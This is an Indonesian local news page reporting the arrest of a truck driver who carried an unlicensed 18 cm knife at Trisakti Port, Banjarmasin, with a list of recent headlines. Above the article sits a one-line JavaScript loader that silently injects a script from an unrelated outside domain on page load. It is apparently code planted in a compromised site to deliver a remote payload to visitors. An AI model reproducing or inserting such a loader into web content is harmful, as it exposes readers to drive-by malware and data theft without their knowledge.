(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Bawa Sajam di Pelabuhan Trisakti, Sopir Asal Kotim Diamankan Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Seorang sopir HA alias DA (35) warga Kotawaringin Timur (Kotim), Provinsi Kalimantan Tengah (Kalteng) harus berhadapan dengan hukum karena kedapatan membawa senjata tajam (Sajam) di Pelabuhan Trisakti Banjarmasin.

HA diamankan petugas Polsek Kawasan Pelabuhan dan Laut (KPL) Banjarmasin karena membawa senjata penikam atau penusuk tanpa dilengkapi dengan surat izin.

Kapolsek KPL Banjarmasin Kompol Aryansyah mengatakan, pada Rabu (8/2/2023) sekitar pukul sembilan pagi pihaknya saat itu sedang melaksanakan kegiatan operasi pekat oleh anggota gabungan Polsek KPL Kanit Reskrim Polsek KPL, Iptu Bagus Syahid F.

“Personel gabungan mendapati pelaku HA itu akan masuk ke dalam truk yang dikemudikannya, tepatnya di depan pintu parkir sepeda motor terminal multipurpose Pelabuhan Trisakti,” katanya, Kamis (9/2/2023) siang.

 

Baca juga: Ditinggal Istri, Lelaki di Lamandau Coba Bunuh Diri

Saat dilakukan pemeriksaan dan penggeledahan badan HA, ditemukan senjata tajam penusuk atau senjata penikam jenis pisau. Sajam itu berganggang warna hitam dan kumpang dilakban warna hitam dengan panjang 18 cm.

Senjata tajam penusuk tersebut disimpan pelaku di dalam tasnya warna coklat merk Eiger, hingga kemudian diamankan oleh personel Polsek KPL Banjarmasin.

“Ketika ditanyakan pelaku membenarkan kalau senjata penusuk atau penikam jenis pisau tersebut diakui miliknya, kemudian HA dan barang bukti diamankan ke Mako Poslek KPL Banjarmasin untuk diperiksa lebih lanjut,” katanya.

Hasil pemeriksaan penyidik Unit Reskrim Polsek KPL, HA yang kedapatan membawa sajam tanpa izin dari pihak berwenang dapat dikenakan Pasal sebagaimana dalam sangkaan pasal 2 ayat (1) Undang-Undang Darurat Nomor 12 Tahun 1951 dengan ancaman hukuman 10 tahun penjara.

Atas penangkapan tersebut, Kapolsek KPL Banjarmasin mengimbau kepada seluruh masyarakat agar tidak membawa senjata tajam tanpa ada izin.

“Jadilah masyarakat yang selalu taat dan patuh hukum, sehingga tercipta keamanan dan ketertiban masyarakat khususnya di wilayah Pelabuhan Trisakti Banjarmasin,” tutupnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.